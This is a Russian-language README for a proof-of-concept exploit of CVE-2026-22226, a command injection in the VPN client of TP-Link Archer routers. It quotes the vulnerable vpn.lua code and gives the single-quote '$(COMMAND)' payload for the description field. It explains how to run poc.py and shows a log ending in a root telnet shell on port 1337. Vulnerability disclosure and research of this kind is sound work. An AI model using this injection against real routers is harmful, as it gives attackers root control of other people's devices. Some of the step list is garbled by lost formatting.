
Доказательство концепции для CVE-2026-22226
Доказательство концепции для CVE-2026-22226
Аутентифицированное внедрение OS-команд на стороне LAN в VPN-клиенте Wi-Fi-роутеров TP-Link Archer
Контроллер VPN-клиента сохраняет управляемое пользователем описание записи (des) в конфигурации UCI с помощью слабой проверочной регулярки. Когда запись позже считывается обратно (при редактировании в веб-интерфейсе), get_ovpn_data() подставляет des в строку команды shell, передаваемую в os.execute() без какой-либо санитизации:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
Символ одинарной кавычки (') проходит проверочную регулярку, чего достаточно, чтобы выйти за пределы экранирования shell и внедрить команды через подстановку $(). Поле des, установленное в '$(COMMAND)', превращает команду в:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Обратите внимание, что вывод команды никогда не возвращается в HTTP-ответе, поэтому инъекция является слепой. Именно поэтому нам нужен внеполосный канал (здесь PoC-скрипт запускает сервер telnetd для получения интерактивного shell).
[!Note] Я тестировал этот скрипт только на TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), но другие устройства Archer, вероятно, также уязвимы.
Этот PoC работает по следующему процессу:
admin.ovpndes, выходом из контекста одинарных кавычек и внедрением полезной нагрузки через подстановку командget_ovpn_data() путём чтения записи обратно, что передаёт отравленный des в os.execute()[!Warning] Эксплуатация этой уязвимости приводит к выполнению OS-команд от имени
rootна роутере (полная компрометация устройства), обходя проверку вводаdesчерез разрешённый символ одинарной кавычки.
Зависимости Python объявлены инлайн в скрипте, поэтому вы можете запустить его напрямую с помощью современного менеджера проектов Python или установить их вручную через pip:
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
укажите целевой IP-адрес, учётные данные и полезную нагрузку в poc.py
запустите скрипт:
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux